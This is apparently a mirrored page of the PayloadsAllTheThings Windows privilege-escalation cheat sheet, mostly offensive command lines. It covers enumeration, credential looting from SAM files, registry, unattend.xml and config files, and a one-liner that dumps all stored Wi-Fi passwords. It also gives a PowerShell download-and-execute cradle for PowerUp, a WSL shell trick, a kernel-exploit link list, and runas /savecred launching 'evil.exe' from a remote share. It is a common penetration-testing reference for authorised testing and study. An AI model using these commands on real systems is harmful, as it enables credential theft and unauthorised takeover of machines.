Mirrors/PayloadsAllTheThings

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Swissky 2d5b4f2193 Meterpreter generate + LaTeK XSS + Ruby Yaml

2019-03-03 16:31:17 +01:00

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Windows - Privilege Escalation

Tools

Watson - Watson is a (.NET 2.0 compliant) C# implementation of Sherlock
(Deprecated) Sherlock - PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities
BeRoot - Privilege Escalation Project - Windows / Linux / Mac
Windows-Exploit-Suggester
windows-privesc-check - Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems
Powerless - Windows privilege escalation (enumeration) script designed with OSCP labs (legacy Windows) in mind

Windows Version and Configuration

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic qfe

Architecture

wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%

List all env variables

set
Get-ChildItem Env: | ft Key,Value

List all drives

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

User Enumeration

Get current username

echo %USERNAME% || whoami
$env:username

List user privilege

whoami /priv

List all users

net user
net users
whoami /all
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name

List logon requirements; useable for bruteforcing

net accounts

Get details about a user (i.e. administrator, admin, current user)

net user administrator
net user admin
net user %USERNAME%

List all local groups

net localgroup
Get-LocalGroup | ft Name

Get details about a group (i.e. administrators)

net localgroup administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource

Network Enumeration

List all network interfaces, IP, and DNS.

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

List current routing table

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

List the ARP table

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

List all current connections

netstat -ano

List firware state and current configuration

netsh advfirewall firewall dump

List all network shares

net share

SNMP Configuration

reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

Looting for passwords

SAM and SYSTEM files

%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Search for file contents**

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config

Search for a file with a certain filename

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*

Search the registry for key names

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K

Read a value of a certain sub key

REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList

Passwords in unattend.xml

Location of the unattend.xml files

C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

Example content

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
    <AutoLogon>
     <Password>*SENSITIVE*DATA*DELETED*</Password>
     <Enabled>true</Enabled>
     <Username>Administrateur</Username>
    </AutoLogon>

    <UserAccounts>
     <LocalAccounts>
      <LocalAccount wcm:action="add">
       <Password>*SENSITIVE*DATA*DELETED*</Password>
       <Group>administrators;users</Group>
       <Name>Administrateur</Name>
      </LocalAccount>
     </LocalAccounts>
    </UserAccounts>

The Metasploit module post/windows/gather/enum_unattend looks for these files.

IIS Web config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config

Other files

%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts

Wifi passwords

Find AP SSID

netsh wlan show profile

Get Cleartext Pass

netsh wlan show profile <SSID> key=clear

Oneliner method to extract wifi passwords from all the access point.

cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on
```

## Processes Enumeration and Tasks

What processes are running?

```powershell
tasklist /v
net start
sc query
Get-Service
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
```

Which processes are running as "system"

```powershell
tasklist /v /fi "username eq system"
```

Do you have powershell magic?

```powershell
REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion
```

List installed programs

```powershell
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
```

Scheduled tasks

```powershell
schtasks /query /fo LIST 2>nul | findstr TaskName
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
```

Startup tasks

```powershell
wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
```


## PowerSploit's PowerUp

Spot the weak service using PowerSploit's PowerUp

```powershell
powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks
```

## Windows Subsystem for Linux (WSL)

Technique borrowed from [Warlockobama's tweet](https://twitter.com/Warlockobama/status/1067890915753132032)

> With root privileges Windows  Subsystem for Linux (WSL)  allows users to create a bind shell on any port (no elevation needed). Don't know the root password? No problem just set the default user to root W/ <distro>.exe --default-user root. Now start your bind shell or reverse.

```powershell
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
```

Binary `bash.exe` can also be found in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`

Alternatively you can explore the `WSL` filesystem in the folder `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\`

## Unquoted Service Paths

The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first.

```powershell
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:windows\" |findstr /i /v """

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
```

## Kernel Exploit

List of exploits kernel : [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits)

##### #Security Bulletin&nbsp;&nbsp;&nbsp;#KB &nbsp;&nbsp;&nbsp;&nbsp;#Description&nbsp;&nbsp;&nbsp;&nbsp;#Operating System  
- [MS17-017](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS17-017) 　[KB4013081]　　[GDI Palette Objects Local Privilege Escalation]　　(windows 7/8)
- [CVE-2017-8464](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2017-8464) 　[LNK Remote Code Execution Vulnerability]　　(windows 10/8.1/7/2016/2010/2008)
- [CVE-2017-0213](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2017-0213) 　[Windows COM Elevation of Privilege Vulnerability]　　(windows 10/8.1/7/2016/2010/2008)
- [CVE-2018-0833](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2018-0833)   [SMBv3 Null Pointer Dereference Denial of Service]    (Windows 8.1/Server 2012 R2)
- [CVE-2018-8120](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2018-8120)   [Win32k Elevation of Privilege Vulnerability]    (Windows 7 SP1/2008 SP2,2008 R2 SP1)
- [MS17-010](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS17-010) 　[KB4013389]　　[Windows Kernel Mode Drivers]　　(windows 7/2008/2003/XP)
- [MS16-135](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-135) 　[KB3199135]　　[Windows Kernel Mode Drivers]　　(2016)
- [MS16-111](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-111) 　[KB3186973]　　[kernel api]　　(Windows 10 10586 (32/64)/8.1)
- [MS16-098](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-098) 　[KB3178466]　　[Kernel Driver]　　(Win 8.1)
- [MS16-075](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075) 　[KB3164038]　　[Hot Potato]　　(2003/2008/7/8/2012)
- [MS16-034](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-034) 　[KB3143145]　　[Kernel Driver]　　(2008/7/8/10/2012)
- [MS16-032](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032) 　[KB3143141]　　[Secondary Logon Handle]　　(2008/7/8/10/2012)
- [MS16-016](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-016) 　[KB3136041]　　[WebDAV]　　(2008/Vista/7)
- [MS16-014](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-014) 　[K3134228]　　[remote code execution]　　(2008/Vista/7)    
...
- [MS03-026](./MS03-026) 　[KB823980]　　 [Buffer Overrun In RPC Interface]　　(/NT/2000/XP/2003)  


## Runas

Use the `cmdkey` to list the stored credentials on the machine.

```powershell
cmdkey /list
Currently stored credentials:
 Target: Domain:interactive=WORKGROUP\Administrator
 Type: Domain Password
 User: WORKGROUP\Administrator
```

Then you can use `runas` with the `/savecred` options in order to use the saved credentials. 
The following example is calling a remote binary via an SMB share.
```powershell
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
```

## References

* [The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte](https://addaxsoft.com/wpecs/)
* [Basic Linux Privilege Escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
* [Windows Privilege Escalation Fundamentals](http://www.fuzzysecurity.com/tutorials/16.html)
* [TOP–10 ways to boost your privileges in Windows systems - hackmag](https://hackmag.com/security/elevating-privileges-to-administrative-and-further/)
* [The SYSTEM Challenge](https://decoder.cloud/2017/02/21/the-system-challenge/)
* [Windows Privilege Escalation Guide - absolomb's security blog](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
* [Remediation for Microsoft Windows Unquoted Service Path Enumeration Vulnerability - September 18th, 2016 - Robert Russell](https://www.tecklyfe.com/remediation-microsoft-windows-unquoted-service-path-enumeration-vulnerability/)
* [Pentestlab.blog - WPE-01 - Stored Credentials](https://pentestlab.blog/2017/04/19/stored-credentials/)
* [Pentestlab.blog - WPE-02 - Windows Kernel](https://pentestlab.blog/2017/04/24/windows-kernel-exploits/)
* [Pentestlab.blog - WPE-03 - DLL Injection](https://pentestlab.blog/2017/04/04/dll-injection/)
* [Pentestlab.blog - WPE-04 - Weak Service Permissions](https://pentestlab.blog/2017/03/30/weak-service-permissions/)
* [Pentestlab.blog - WPE-05 - DLL Hijacking](https://pentestlab.blog/2017/03/27/dll-hijacking/)
* [Pentestlab.blog - WPE-06 - Hot Potato](https://pentestlab.blog/2017/04/13/hot-potato/)
* [Pentestlab.blog - WPE-07 - Group Policy Preferences](https://pentestlab.blog/2017/03/20/group-policy-preferences/)
* [Pentestlab.blog - WPE-08 - Unquoted Service Path](https://pentestlab.blog/2017/03/09/unquoted-service-path/)
* [Pentestlab.blog - WPE-09 - Always Install Elevated](https://pentestlab.blog/2017/02/28/always-install-elevated/) 
* [Pentestlab.blog - WPE-10 - Token Manipulation](https://pentestlab.blog/2017/04/03/token-manipulation/)
* [Pentestlab.blog - WPE-11 - Secondary Logon Handle](https://pentestlab.blog/2017/04/07/secondary-logon-handle/)
* [Pentestlab.blog - WPE-12 - Insecure Registry Permissions](https://pentestlab.blog/2017/03/31/insecure-registry-permissions/)
* [Pentestlab.blog - WPE-13 - Intel SYSRET](https://pentestlab.blog/2017/06/14/intel-sysret/)

14 KiB Raw Blame History Unescape Escape